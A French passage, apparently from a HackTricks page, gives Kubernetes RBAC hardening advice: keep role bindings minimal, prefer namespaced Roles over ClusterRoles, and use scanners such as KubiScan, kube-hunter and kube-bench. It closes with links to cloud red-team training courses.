  • Inclusion Sélective : Assurez-vous que seuls les utilisateurs nécessaires sont inclus dans les RoleBindings ou ClusterRoleBindings. Auditez régulièrement et retirez les utilisateurs non pertinents pour maintenir une sécurité stricte.

Rôles Spécifiques aux Noms de Namespace Plutôt que Rôles Globaux

  • Rôles vs. ClusterRoles : Préférez utiliser des Rôles et des RoleBindings pour des permissions spécifiques aux namespaces plutôt que des ClusterRoles et des ClusterRoleBindings, qui s'appliquent à l'échelle du cluster. Cette approche offre un meilleur contrôle et limite la portée des permissions.

Utiliser des outils automatisés

GitHub - cyberark/KubiScan: A tool to scan Kubernetes cluster for risky permissions

GitHub - aquasecurity/kube-hunter: Hunt for security weaknesses in Kubernetes clusters

GitHub - aquasecurity/kube-bench: Checks whether Kubernetes is deployed according to security best practices as defined in the CIS Kubernetes Benchmark

Références

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks